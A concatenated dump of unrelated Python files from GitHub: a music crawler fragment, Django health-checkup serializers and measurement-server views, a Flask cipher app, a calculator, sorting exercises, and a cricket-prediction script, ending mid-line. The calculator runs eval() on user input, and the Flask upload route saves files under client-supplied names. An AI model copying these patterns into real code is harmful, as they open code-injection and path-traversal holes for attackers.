self.get_songinfos(mysongs,domain)\n\nd=NetEaseMusic()\n#d.work(167900089,\"Classical\")\n#d.work(517575568,\"Electronic\")\n#d.work(498708023,\"Folk\")\n#d.work(102656381,\"Blues\")\n#d.work(715331683,\"Game\")\n#d.work(710865932,\"Japanese\")\n#d.work(432705321,\"Pop\")\nd.work(467058152,\"Urban\")","repo_name":"AlphaPav/Music-Website","sub_path":"Code/CrawlMusic/crawlmusic.py","file_name":"crawlmusic.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11751890605","text":"import datetime\nimport os\n\nimport simplejwt as simplejwt\n\nfrom rest_framework import serializers\nfrom mobile_api.models import *\n\n\nclass LoginSerializer(serializers.ModelSerializer):\n\n \"\"\"Login Serializer\"\"\"\n\n class Meta:\n model = User\n fields =['user_id', 'user_level', 'password', 'token']\n\n\nclass RefreshTokenSerializer(serializers.ModelSerializer):\n\n \"\"\"Refresh Token Serializer\"\"\"\n\n class Meta:\n model = User\n fields = ['token']\n\nclass AddStudentSerializer(serializers.ModelSerializer):\n \"\"\"학생 등록시 사용\"\"\"\n class Meta:\n model = Student\n fields = '__all__'\n\n # def to_representation(self, instance):\n # field_list = [field.name for field in Student._meta.get_fields()]\n # field_list.remove('checkup')\n #\n # data = super().to_representation(instance)\n # for field in field_list:\n # if data[field] ==None:\n # data[field]=''\n #\n # return data\n\n # def update(self, instance, validated_data):\n #\n #\n # instance.student_name = validated_data.get('student_name',instance.student_name)\n # instance.grade = validated_data.get('grade', instance.grade)\n # instance.grade_class = validated_data.get('grade_class',instance.grade_class)\n # instance.gender = validated_data.get('gender',instance.gender)\n # instance.date_of_birth = validated_data.get('date_of_birth', instance.date_of_birth)\n # instance.student_number = validated_data.get('student_number', instance.student_number)\n # instance.village = validated_data.get('village',instance.village)\n # instance.contact = validated_data.get('contact',instance.contact)\n # instance.parents_name = validated_data.get('parents_name',instance.parents_name)\n #\n # instance.save()\n # return instance\n\nclass AddCheckUpSerializer(serializers.ModelSerializer):\n class Meta:\n model = Checkup\n fields = '__all__'\n\n def update(self, instance, validated_data):\n instance.height = validated_data.get('height',instance.height)\n instance.weight = validated_data.get('weight',instance.weight)\n instance.vision_right = validated_data.get('vision_right',instance.vision_right)\n instance.vision_left = validated_data.get('vision_left', instance.vision_left)\n instance.glasses = validated_data.get('glasses',instance.glasses)\n instance.corrected_left = validated_data.get('corrected_left', instance.corrected_left)\n instance.corrected_right = validated_data.get('corrected_right', instance.corrected_right)\n instance.dental = validated_data.get('dental',instance.dental)\n instance.hearing = validated_data.get('hearing', instance.hearing)\n instance.systolic = validated_data.get('systolic', instance.systolic)\n instance.diastolic = validated_data.get('diastolic', instance.diastolic)\n instance.bust = validated_data.get('bust', instance.bust)\n instance.checked = 1\n instance.save()\n\n return instance\n\nclass GetStudentsSerializer(serializers.ModelSerializer):\n class Meta:\n model = Student\n fields = '__all__'\n\n\n def to_representation(self, instance):\n field_list = [field.name for field in Student._meta.get_fields()]\n field_list.remove('pic')\n field_list.remove('school_fk')\n field_list.remove('checkup')\n for field in field_list:\n print(field)\n data = super().to_representation(instance)\n\n data.pop('pic')\n data.pop('school_fk')\n\n for field in field_list:\n if data[field] ==None:\n data[field]=''\n\n\n return data\n\nclass GetCheckUpSerializer(serializers.ModelSerializer):\n class Meta:\n model = Checkup\n fields = '__all__'\n\n\n def to_representation(self, instance):\n field_list = [field.name for field in Checkup._meta.get_fields()]\n field_list.remove('student_fk')\n field_list.remove('graduate_fk')\n field_list.remove('id')\n field_list.remove('checked')\n data = super().to_representation(instance)\n\n data.pop('student_fk')\n data.pop('graduate_fk')\n data.pop('id')\n data.pop('checked')\n for field in field_list:\n if data[field] ==None:\n data[field]=''\n\n\n return data","repo_name":"lakeparkXPA/mshr_backend","sub_path":"mobile_api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43026449308","text":"from json.decoder import JSONDecodeError\r\nfrom Pyro4.util import reset_exposed_members\r\nfrom django.shortcuts import render\r\nfrom django.http import HttpResponseRedirect, JsonResponse, HttpResponse, Http404\r\nfrom django.views.generic import TemplateView\r\nfrom measurementServer.common.enums import Status\r\nfrom .forms import CreateSeriesForm, StartExperimentForm, StartCalibrationForm, UploadRefDataForm\r\nfrom django.urls import reverse\r\nfrom django.shortcuts import redirect\r\nfrom datetime import datetime\r\nfrom measurementServer.client import PyroMeasurementClient\r\nfrom measurementServer.common import ValuesNames\r\nfrom zipfile import ZipFile, ZIP_DEFLATED\r\nimport os\r\nimport json\r\nfrom django.contrib import messages\r\nimport csv\r\nimport pandas as pd\r\n\r\npmc = PyroMeasurementClient()\r\n\r\n# Create your views here.\r\n\r\ndef index(request):\r\n try:\r\n currentSeries = pmc.getCurrentSeries()\r\n except Exception:\r\n return HttpResponseRedirect('unavailible')\r\n measurements = []\r\n plotValues = [ \r\n 'lastTemp' ,\r\n 'lastPres' ,\r\n 'lastRHum' ,\r\n 'lastAHum' ,\r\n 'lastVolt' ,\r\n 'lastCH4' ,\r\n 'lastH2OppmM' ,\r\n 'lastH2OppmV' \r\n ]\r\n if not currentSeries is None:\r\n measurements = pmc.getMeasurementsList(currentSeries['id'])\r\n return render(request, 'index.html', {'measurements' : measurements, 'plotValues': plotValues})\r\n\r\ndef unavailible(request):\r\n if pmc.connect():\r\n return HttpResponseRedirect('/')\r\n else:\r\n return render(request, \"unavailible.html\")\r\n\r\n\r\ndef getStatus(request):\r\n # here you return whatever data you need updated in your template\r\n now = datetime.now()\r\n server_time = dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\r\n\r\n # device_status = 'init'\r\n try:\r\n deviceStatus = pmc.getServerStatus() \r\n except Exception:\r\n return HttpResponseRedirect('unavailible')\r\n deviceStatusString = deviceStatus[1]\r\n\r\n lastDataDict = pmc.getLastData()\r\n lastTime = lastDataDict[ValuesNames.timestamp.name]\r\n t = lastDataDict[ValuesNames.temperature.name]\r\n p = lastDataDict[ValuesNames.pressure.name]\r\n aH = lastDataDict[ValuesNames.aHumidity.name]\r\n rH = lastDataDict[ValuesNames.rHumidity.name]\r\n fanSpeed = lastDataDict[ValuesNames.fanSpeed.name]\r\n lastTemp = \"{:2.2f}\".format(t)\r\n lastPres = \"{:4.2f}\".format(p)\r\n lastRHum = \"{:2.2f}\".format(rH)\r\n lastAHum = \"{:2.2f}\".format(aH * 1000)\r\n lastVolt = \"{:.5f}\".format(lastDataDict[ValuesNames.voltage.name])\r\n lastCH4 = \"{:.3f}\".format(lastDataDict[ValuesNames.ch4LR.name]) if ValuesNames.ch4LR.name in lastDataDict.keys() else \"-\"\r\n lastH2OppmM = \"{:.0f}\".format(1000000 * aH / (aH + p*100*0.02897/8.31446261815324/(t+273)))\r\n lastH2OppmV = \"{:.0f}\".format(1000000 * aH / 0.01801528 / (aH/0.01801528 + p*100/8.31446261815324/(t+273)))\r\n \r\n currentSeriesString = pmc.getCurrentSeries()\r\n currentCalibrationString = pmc.getCurrentCalibration()\r\n if (currentSeriesString is None):\r\n currentSeriesString = \"Серия не выбрана\"\r\n else:\r\n currentSeriesString = str(currentSeriesString['id'])\r\n\r\n if (currentCalibrationString is None):\r\n currentCalibrationString = \"Калибровка не выбрана\"\r\n else:\r\n currentCalibrationString = str(currentCalibrationString['id'])\r\n\r\n return JsonResponse({\r\n 'server_time' : server_time,\r\n 'device_status' : deviceStatusString,\r\n 'current_series': currentSeriesString,\r\n 'current_calibration': currentCalibrationString,\r\n 'fanSpeed': fanSpeed,\r\n 'lastTime': lastTime,\r\n 'lastTemp' : lastTemp,\r\n 'lastPres' : lastPres,\r\n 'lastRHum': lastRHum,\r\n 'lastAHum': lastAHum,\r\n 'lastVolt': lastVolt,\r\n 'lastCH4': lastCH4,\r\n 'lastH2OppmM' : lastH2OppmM,\r\n 'lastH2OppmV' : lastH2OppmV,\r\n })\r\n\r\ndef stopExperiment(request):\r\n pmc.interruptMeasurement()\r\n return index(request)\r\n\r\ndef createSeries(request):\r\n if request.method == 'POST':\r\n form = CreateSeriesForm(request.POST)\r\n\r\n name = form.data['name']\r\n measureType = int(form.data['type'])\r\n pmc.createSeries(name, measureType)\r\n\r\n return HttpResponseRedirect(reverse('index'))\r\n else:\r\n form = CreateSeriesForm()\r\n return render(request, 'createSeries.html', {'form': form})\r\n\r\ndef series(request):\r\n seriesList = pmc.getSeriesList()\r\n seriesIdsWithRefData = pmc.getRefIdsList() \r\n return render(request, 'series.html', {'series' : seriesList, \"seriesIdsWithRefData\" : seriesIdsWithRefData})\r\n\r\ndef seriesDetails(request, series_id):\r\n measurements = pmc.getMeasurementsList(series_id)\r\n return render(request, 'seriesDetails.html', {'series_id' : series_id, 'measurements' : measurements})\r\n\r\ndef calibrations(request):\r\n calibrationList = pmc.getCalibrationsList()\r\n return JsonResponse(json.dumps(calibrationList))\r\n # return render(request, 'calibrations.html', {'calibrations' : calibrationList})\r\n\r\ndef chooseSeries(request, series_id=0):\r\n if series_id != 0:\r\n pmc.chooseSeries(series_id) \r\n return redirect('/series')\r\n\r\ndef startExperiment(request):\r\n\r\n series = pmc.getCurrentSeries()\r\n form = StartExperimentForm()\r\n\r\n if request.method == 'POST':\r\n if not series:\r\n messages.error(request, 'Создайте серию перед началом эксперимента')\r\n return render(request, 'startExperiment.html', {'form': form})\r\n\r\n form = StartExperimentForm(request.POST)\r\n\r\n name = form.data['name']\r\n period = float(form.data['period'])\r\n duration = float(form.data['duration'])\r\n pmc.runMeasurement(duration, period, name)\r\n\r\n return HttpResponseRedirect(reverse('index'))\r\n\r\n return render(request, 'startExperiment.html', {'form': form})\r\n\r\ndef startCalibration(request):\r\n \r\n series = pmc.getSeriesList()\r\n seriesIdsWithRefData = pmc.getRefIdsList()\r\n seriesTuple = [(s['id'], \"id = {} ({}, {})\".format(s['id'],s['description'],s['date'])) for s in series]\r\n seriesTupleWithRefData = [(s['id'], \"id = {} ({}, {})\".format(s['id'],s['description'],s['date'])) for s in series if s['id'] in seriesIdsWithRefData]\r\n seriesTupleWithRefData.append((0, \"Без второго шага\"))\r\n\r\n if request.method == 'POST':\r\n form = StartCalibrationForm(seriesTuple, seriesTupleWithRefData, request.POST)\r\n series1Ids = request.POST.getlist('series1Ids')\r\n series2Ids = request.POST.getlist('series2Ids')\r\n\r\n series1Ids = [int(id) for id in series1Ids]\r\n series2Ids = [int(id) for id in series2Ids]\r\n if 0 in series2Ids:\r\n image_path = pmc.firstStepOfCalibration(series1Ids)\r\n if image_path and os.path.exists(image_path):\r\n messages.info(request, 'Калибровка успешно проведена') \r\n with open(image_path, 'rb') as img:\r\n return HttpResponse(img.read(), content_type=\"image/png\")\r\n messages.warning(request, 'Что-то пошло не так')\r\n else:\r\n result = pmc.startCalibration(series1Ids, series2Ids)\r\n if result:\r\n messages.info(request, 'Калибровка успешно проведена')\r\n else:\r\n messages.warning(request, 'Не удалось провести калибровку')\r\n form = StartCalibrationForm(seriesTuple, seriesTupleWithRefData)\r\n\r\n else:\r\n form = StartCalibrationForm(seriesTuple, seriesTupleWithRefData)\r\n return render(request, 'startCalibration.html', {'form' : form})\r\n\r\ndef zipfolder(foldername, target_dir): \r\n zipobj = ZipFile(foldername, 'w', ZIP_DEFLATED)\r\n rootlen = len(target_dir) + 1\r\n for base, dirs, files in os.walk(target_dir):\r\n for file in files:\r\n fn = os.path.join(base, file)\r\n zipobj.write(fn, fn[rootlen:])\r\n\r\ndef downloadSeries(request, series_id):\r\n series_folder_path = pmc.getSeriesPath(series_id) \r\n zippath = 'series'+str(series_id) + '.zip'\r\n zipfolder(zippath, series_folder_path) \r\n if os.path.exists(zippath):\r\n with open(zippath, 'rb') as fh:\r\n response = HttpResponse(fh.read(), content_type=\"application/zip\")\r\n response['Content-Disposition'] = 'inline; filename=' + os.path.basename(series_folder_path) + '.zip'\r\n return response\r\n os.remove(zippath)\r\n raise Http404\r\n\r\ndef downloadPlot(request, series_id, measurement_id, var_name):\r\n image_path = pmc.plotMeasurement(variable=var_name, series_id=series_id, measurement_id=measurement_id)\r\n if not image_path:\r\n return HttpResponse('Не удалось построить график. Проверьте, что данные существуют')\r\n if os.path.exists(image_path):\r\n with open(image_path, 'rb') as img:\r\n response = HttpResponse(img.read(), content_type=\"image/png\")\r\n response['Content-Disposition'] = 'inline; filename=' + os.path.basename(image_path) + '.png'\r\n return response\r\n\r\ndef handle_uploaded_file(f):\r\n with open('file.txt', 'wb+') as destination:\r\n for chunk in f.chunks():\r\n destination.write(chunk)\r\n\r\ndef setFansSpeed(request, speed):\r\n if speed > 100 or speed < 0:\r\n pmc.setFansSpeed(0)\r\n return JsonResponse(\r\n {\r\n 'status' : 0\r\n })\r\n pmc.setFansSpeed(speed)\r\n return JsonResponse(\r\n {\r\n 'status' : 1\r\n }\r\n )\r\n\r\n\r\ndef uploadReferenceData(request, series_id):\r\n if request.method == 'POST':\r\n form = UploadRefDataForm(request.POST, request.FILES)\r\n if form.is_valid():\r\n refDataFile = request.FILES['referenceDataFile']\r\n if not refDataFile.content_type in ['text/csv', 'application/vnd.ms-excel']:\r\n messages.error(request, \"Референсные данные должны быть в формате CSV, получен файл формата {}\".format(refDataFile.content_type))\r\n else: \r\n messages.info(request, 'Получен файл {}, {:.2f} Мб'.format(refDataFile.name, refDataFile.size / 1024**2))\r\n refDataPath = \"veryStrangeFile.csv\"\r\n with open(refDataPath, \"wb+\") as destination:\r\n for chunk in refDataFile.chunks():\r\n destination.write(chunk)\r\n if os.path.exists(refDataPath):\r\n column_names = [\"Timestamp\", \"Reference Methane Concentration, ppm\"]\r\n df = pd.read_csv(refDataPath, delimiter=',', names=column_names)\r\n if len(df.columns) == 2:\r\n timestampsList = df[column_names[0]].tolist()\r\n ch4RefList = df[column_names[1]].tolist()\r\n if pmc.uploadReferenceData(series_id, timestampsList, ch4RefList):\r\n messages.info(request, \"Данные успешно загружены\")\r\n os.remove(refDataPath)\r\n\r\n else:\r\n form = UploadRefDataForm()\r\n return render(request, 'uploadReferenceData.html', {'form' : form, \"series_id\" : series_id})","repo_name":"mershavka/poplavok","sub_path":"site/interface/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41825364302","text":"from flask import Flask, request, send_from_directory\nfrom flask import render_template as render\nimport cipher, decipher, os\n\napp = Flask(__name__)\n\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\nCIPHERED_FILE_PATH = os.path.join(APP_ROOT, \"files\", \"ciphers\")\nDECIPHERED_FILE_PATH = os.path.join(APP_ROOT, \"files\", \"deciphers\")\n\n@app.route('/')\ndef index():\n return render(\"index.html\")\n\n@app.route('/cipherFile')\ndef cipherFile():\n return render(\"cipherFile.html\")\n\n@app.route('/decipherFile')\ndef decipherFile():\n return render(\"decipherFile.html\")\n\n@app.route('/cipheredFile', methods=[\"POST\"])\ndef cipheredFile():\n plaintext = request.form['plainText']\n cipher.cipher(plaintext)\n return send_from_directory(directory=CIPHERED_FILE_PATH, filename=\"ciphered.txt\", as_attachment=True)\n\n@app.route('/decipheredFile', methods=[\"POST\"])\ndef decipheredFile():\n file = request.files['inputFile']\n filename = file.filename\n txtFile = os.path.join(APP_ROOT, \"files\", \"ciphers\", filename)\n file.save(txtFile)\n deciphered = decipher.decipher(txtFile)\n return send_from_directory(directory=DECIPHERED_FILE_PATH, filename=\"deciphered.txt\", as_attachment=True)\n\nif __name__=='__main__':\n app.run(debug=True)\n","repo_name":"ShivamPandya/blindman","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40794136664","text":"print(\"Solution 1 (Only works for 2 numbers)\")\nwhile True:\n try:\n num1 = int(input(\"Enter the first number: \"))\n except:\n print(\"Please enter a valid number\")\n continue\n break\n\nwhile True:\n try:\n num2 = int(input(\"Enter the second number: \"))\n except:\n print(\"Please enter a valid number\")\n continue\n break\n\nwhile True:\n operator = input(\"Enter the operator (+,-,*,/): \")\n\n result = 0\n if(operator == \"+\"):\n result = num1 + num2\n elif(operator == \"-\"):\n result = num1-num2\n elif(operator == \"*\"):\n result = num1*num2\n elif(operator == \"/\"):\n result = num1/num2\n else:\n print(\"An error occurred, please enter an operator\")\n continue\n\n print(\"The result is: \" + str(result))\n break\n\nprint(\"\")\nprint(\"Solution 2 (Using python built-in function)\")\nwhile True:\n try:\n operationResult = eval(input(\"Please enter an operation problem: \"))\n except:\n print(\"Please enter a valid operation problem\")\n continue\n print(\"The result is: \" + str(operationResult))\n break\n\n#Average Calculator\nprint(\"\")\nprint(\"Average Calculator\")\n\ndef calculateAverage(listOfNumbers):\n return sum(listOfNumbers)/len(listOfNumbers)\n\nwhile True:\n try:\n inputString = input(\"Please enter a sequence of number (separated by ','): \")\n inputList = inputString.split(\",\")\n inputList = list(map(float, inputList))\n except:\n print(\"Please enter a valid sequence (separate the numbers using ','): \")\n continue\n\n result = calculateAverage(inputList)\n print(\"The result is: \" + str(result))\n break","repo_name":"Indraa145/test","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31095968565","text":"li = [3,1,1,2,0,0,2,3,3]\n\n\nfor i in range(0, len(li),1):\n if i == 0: #set max_val,min_val\n max_val = li[i]\n min_val = li[i]\n else:\n if max_val < li[i]:\n max_val = li[i]#max_val change\n if min_val > li[i]:\n min_val = li[i]#min_val change\n\nprint(\"max:\",max_val)\nprint(\"min:\",min_val)\nprint(\"-----------:\")\nprint(\"max:\",max(li))\nprint(\"mix:\",min(li))\n\n\n\n'''\nmax_num=0\nmin_num=5\n\nfor i in li:\n if min_num>i:\n min_num=i\n elif max_num= pivot:\n\t\t\ti += 1\n\t\t\tarray[i],array[j] = array[j],array[i]\n\tarray[i+1],array[high] = array[high],array[i+1]\n\treturn (i+1)\n\n\ndef qsort(array,low,high):\n\tif low < high:\n\t\tpi = partition(array,low,high)\n\t\tqsort(array,low,pi-1)\n\t\tqsort(array,pi+1,high)\n\n\ndef descending_order(num):\n num = list(str(num))\n qsort(num,0,len(num)-1)\n return int(\"\".join(num))\n\n\n\n\n\nprint(descending_order(0), 0)\nprint(descending_order(15), 51)\nprint(descending_order(123456789), 987654321)\n\n#arr = [10, 7, 8, 9, 1, 5] \n#n = len(arr) \n#qsort(arr,0,n-1) \n#print (\"Sorted array is:\") \n#for i in range(n): \n# print (\"%d\" %arr[i]), ","repo_name":"emiludenz/Projects","sub_path":"codewars/desorder.py","file_name":"desorder.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14400389284","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import *\n# Create your views here.\ndef index(request):\n #添加\n #一对一和一对多:先添加主表的数据,再添加从表的数据;\n #多对多:先添加两个表的数据,然后在���行关联;\n # p1=Publication(p_name='新华出版社')\n # p1.save()\n # p2=Publication(p_name='东方出版社')\n # p2.save()\n #\n # a1=Article(a_name='个税改革')\n # a1.save()\n # a2=Article(a_name='大桥通车')\n # a2.save()\n #\n # #关联文章和出版社的关系\n # #a1这个文章关联的出版社是p1和p2,意思就是p1和p2两个出版社都出版了a1这个文章。\n # a1.pub.add(p1,p2)\n # a2.pub.add(p2)\n\n\n #查询:\n #1-根据主表数据查询从表数据\n p1=Publication.objects.get(id=2)\n articles=p1.article_set.all()\n for article in articles:\n print(article.a_name)\n #2-根据从表数据查询主表数据\n #查询\"个税改革\"这个文章,共有几个出版社出版;\n a1=Article.objects.get(id=1)\n pubs=a1.pub.all()\n for p in pubs:\n print(p.p_name)\n return HttpResponse('数据添加成功')\n","repo_name":"GmyLsh/learngit","sub_path":"DjangoCourse/第三周/djangomanytomany/orm/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17001694671","text":"import numpy as np\r\nimport math\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.colors import ListedColormap\r\nfrom sklearn.cross_validation import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import accuracy_score\r\nimport pandas as pd\r\nimport pickle\r\n\r\n\r\n\r\n# Importing the dataset\r\ndataset = pd.read_csv('t20_matches.csv')\r\n'''dataset['innings1_runs'].fillna(0,inplace=True)\r\ndataset['innings1_wickets'].fillna(0,inplace=True)\r\ndataset['innings1_overs_batted'].fillna(0,inplace=True)\r\ndataset['innings2_runs'].fillna(0,inplace=True)\r\ndataset['target'].fillna(0,inplace=True)\r\nprint(dataset.isnull().any())\r\n'''\r\n#X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.25, random_state=0)\r\n\r\nX1 = dataset.iloc[:, 15].values\r\nX2 = dataset.iloc[:, 16].values\r\nX3 = dataset.iloc[:, 17].values\r\nY = dataset.iloc[:, 20].values\r\n\r\nX1 = X1.reshape(X1.size,1)\r\nprint(X1.size)\r\nX1 = X1.astype(np.float64, copy=False)\r\nprint(np.isnan(X1).any())\r\nX2 = X2.reshape(X2.size,1)\r\nprint(X2.size)\r\nX2 = X2.astype(np.float64, copy=False)\r\nprint(np.isnan(X2).any())\r\nX3 = X3.reshape(X3.size,1)\r\nprint(X3.size)\r\nX3 = X3.astype(np.float64, copy=False)\r\nprint(np.isnan(X3).any())\r\nY = Y.reshape(Y.size,1)\r\nprint(Y.size)\r\nY = Y.astype(np.float64, copy=False)\r\nprint(np.isnan(Y).any())\r\n\r\n'''X_test = X_test.reshape(X_test.size,1)\r\nX_test = X_test.astype(np.float64, copy=False)\r\nprint(np.isnan(X_test).any())\r\nY_test = Y_test.reshape(Y_test.size,1)\r\nY_test = Y_test.astype(np.float64, copy=False)\r\nprint(np.isnan(Y_test).any())\r\n'''\r\n\r\nX1[np.isnan(X1)] = dataset['innings1_runs'].mean()\r\n\r\nY[np.isnan(Y)] = math.floor(dataset['innings2_runs'].mean())\r\nX2[np.isnan(X2)] = dataset['innings1_wickets'].mean()\r\nX3[np.isnan(X3)] = dataset['innings1_overs_batted'].mean()\r\nprint(X1)\r\nprint(np.isnan(Y).any())\r\nprint(np.isnan(X3).any())\r\n\r\nprint(dataset.head(100))\r\n#X = dataset.iloc[:, [16, 17, 18]].values\r\n\r\n#X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.25, random_state=0)\r\nX = dataset.iloc[:, [15, 16, 17]].values\r\n\r\n# Feature Scaling\r\nsc = StandardScaler()\r\nX = sc.fit_transform(X)\r\n#X_test = sc.transform(X_test)\r\n#print(dataset.head(100))\r\n# Fitting Random Forest Classification to the Training set\r\n\r\nclassifier = RandomForestClassifier(n_estimators=10, criterion='entropy', random_state=0)\r\nclassifier.fit(X,Y)\r\nprint (\"Train Accuracy :: \", accuracy_score(Y, classifier.predict(X)))\r\npickle.dump(classifier, open(\"./pickles/random_forest.pickle\", 'wb'))\r\n\r\n\r\n\r\n\r\n# Fitting Naive Bayes to the Training set\r\n\r\nclassifier = GaussianNB()\r\nclassifier.fit(X, Y)\r\nprint (\"Train Accuracy :: \", accuracy_score(Y, classifier.predict(X)))\r\n\r\npickle.dump(classifier, open(\"./pickles/naive_bayes.pickle\", 'wb'))\r\n\r\n\r\n# Fitting K-NN to the Training set\r\n\r\nclassifier = KNeighborsClassifier(n_neighbors=5, metric='minkowski', p=2)\r\nclassifier.fit(X, Y)\r\nprint (\"Train Accuracy :: \", accuracy_score(Y, classifier.predict(X)))\r\n\r\npickle.dump(classifier, open(\"./pickles/knn.pickle\", 'wb'))\r\n\r\n\r\n# Fitting Decision Tree Classification to the Training set\r\n\r\nclassifier = DecisionTreeClassifier(criterion='entropy', random_state=0)\r\nclassifier.fit(X, Y)\r\nprint(classifier.predict(X))\r\nprint (\"Train Accuracy :: \", accuracy_score(Y, classifier.predict(X)))\r\n\r\npickle.dump(classifier, open(\"./pickles/decision_tree.pickle\", 'wb'))\r\n","repo_name":"hiralbhanu/Cricket-Predictor","sub_path":"pickles_algos.py","file_name":"pickles_algos.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32372881847","text":"'''\nCreated on 16/01/2014\n\n@author: morisset\n'''\nimport os\nimport sys\nimport re\nimport argparse\nfrom scipy import interpolate\nimport numpy as np\nimport pyssn\nfrom pyneb.utils.physics import vactoair\nfrom pyneb.utils.misc import roman_to_int\n\ndef b(x):\n if sys.version_info < (3,):\n return x\n else:\n import codecs\n return codecs.latin_1_encode(x)[0]\n\ndef read_data(filename, NF=True):\n if sys.version_info < (3,):\n dtype = 'i8, a1, a9, float64, float64, float64, float64, a1, i8, i4, f, a100'\n else:\n dtype = 'i8, a1, U9, float64, float64, float64, float64, a1, i8, i4, f, U100'\n if NF:\n delimiter = [14, 1, 9, 11, 6, 10, 7, 1, 14, 4, 7, 100]\n else:\n delimiter = [ 9, 1, 9, 11, 6, 10, 7, 1, 9, 4, 7, 100]\n names = ['num', 'foo', 'id', 'lambda','l_shift', 'i_rel', 'i_cor', 'foo2', 'ref', 'profile', \n 'vitesse', 'comment']\n usecols = (0, 2, 3, 4, 5, 6, 8, 9, 10, 11)\n dd = np.genfromtxt(filename, dtype=dtype, delimiter=delimiter, names = names, usecols = usecols)\n\n if np.isnan(dd['num']).sum() > 0:\n pyssn.log_.error('Some line ID are not defined {}'.format(dd['id'][np.isnan(dd['num'])]))\n if np.isnan(dd['lambda']).sum() > 0:\n pyssn.log_.error('Some wavelengths are not defined {}'.format(dd['num'][np.isnan(dd['lambda'])]))\n if np.isnan(dd['l_shift']).sum() > 0:\n pyssn.log_.error('Some wavelengths shifts are not defined {}'.format(dd['num'][np.isnan(dd['l_shift'])]))\n if np.isnan(dd['i_cor']).sum() > 0:\n pyssn.log_.error('Some intensity corrections are not defined {}'.format(dd['num'][np.isnan(dd['i_cor'])]))\n if np.isnan(dd['i_rel']).sum() > 0:\n pyssn.log_.error('Some relative intensities are not defined {}'.format(dd['num'][np.isnan(dd['i_rel'])]))\n \n return dd.view(np.recarray)\n\ndef print_data(filename, data):\n with open(filename, 'w') as f:\n for d in data:\n f.write('{0[num:14d]} {0[id:9s]}{0[lambda:11.3f]}{0[l_shift:6.3f]}{0[i_ref:10.3e]}{0[i_cor:7.3f]} {0[ref:14d]}{0[profile:4]}{0[vitesse:7.2f]}{0[comment]}'.format(d))\n\ndef my_execfile(pyfile, global_vars=None, local_vars=None):\n\n if sys.version_info.major < 3:\n execfile(pyfile, global_vars, local_vars)\n else:\n with open(pyfile) as f:\n code = compile(f.read(), pyfile, 'exec')\n exec(code, global_vars, local_vars) \n\ndef execution_path(filename, extra=''):\n return os.path.join(os.path.dirname(sys._getframe(1).f_code.co_filename), extra, filename)\n\ndef change_size(tab, fact):\n if fact == 1:\n return tab.copy()\n size = len(tab)\n old_tab_pix = np.linspace(0, size-1, size)\n\n # mvfc: number of intervals, size-1, times fact, plus 1 for the last point\n new_tab_pix = np.linspace(0, size-1, (size-1)*fact+1)\n\n interp = interpolate.interp1d(old_tab_pix, tab)\n tab_out = interp(new_tab_pix)\n return tab_out\n\ndef rebin(tab, fact):\n if fact == 1:\n return tab.copy()\n \n # mvfc: \n if fact%2 != 1 or fact < 0:\n pyssn.log_.error('Rebinning factor, fact = {0}, must be an odd positive integer'.format(fact), \n calling = 'pyssn.misc.rebin')\n return None \n # mvfc: replicates the firt and the last bins\n while len(tab) % fact != 0:\n tab = np.append(tab, tab[-1])\n tab = np.insert(tab, 0, tab[0])\n\n if len(tab) % fact != 0:\n pyssn.log_.error('Dimension of modified tab ({0}) is not a multiple of fact ({1})'.format(len(tab), fact), \n calling = 'pyssn.misc.rebin')\n return None\n\n return tab.reshape(len(tab)//fact, fact).sum(1) / fact\n \ndef convol(array, kernel, method='numpy'):\n \n if method == 'same':\n return array.copy()\n elif method == 'numpy':\n if len(array) >= len(kernel):\n result = np.convolve(array, kernel, mode='same')\n else: \n result = np.convolve(array, kernel, mode='valid')\n return result\n elif method == 'local':\n return None\n else:\n return None\n\ndef convolgauss(spectrum, w, lambda_0, fwhm):\n \"\"\"\n Convolution with a Gaussian\n \"\"\"\n \n pix_0 = np.argmin(np.abs(w - lambda_0))\n if pix_0 == 0:\n pix_0 = 1\n if pix_0 == len(w)-1:\n pix_0 = len(w)-2\n \n lam_pix = np.abs(w[pix_0-1] - w[pix_0+1]) / 2.\n fwhm_pix = fwhm / lam_pix\n sig = fwhm_pix / 2.35482 # sqrt(2.*alog(2.))\n nres = 21\n while True:\n nres = nres * 2 + 1\n wkernel = np.arange(nres) - nres // 2\n kernel = np.exp(-(wkernel / (np.sqrt(2.) * sig))**2)\n if (np.min(kernel) < 1e-9) or ((nres * 2 - 3) > len(w)):\n break\n kernel = kernel/kernel.sum()\n cspectrum = convol(spectrum,kernel)\n \n return cspectrum\n \ndef is_absorb(raie):\n \"\"\"\n if raie is a numpy recarray, it reports a table of indexes where the condition is filled\n \"\"\"\n i_min = 9500000000000\n i_max = 9600000000000\n if type(raie) == 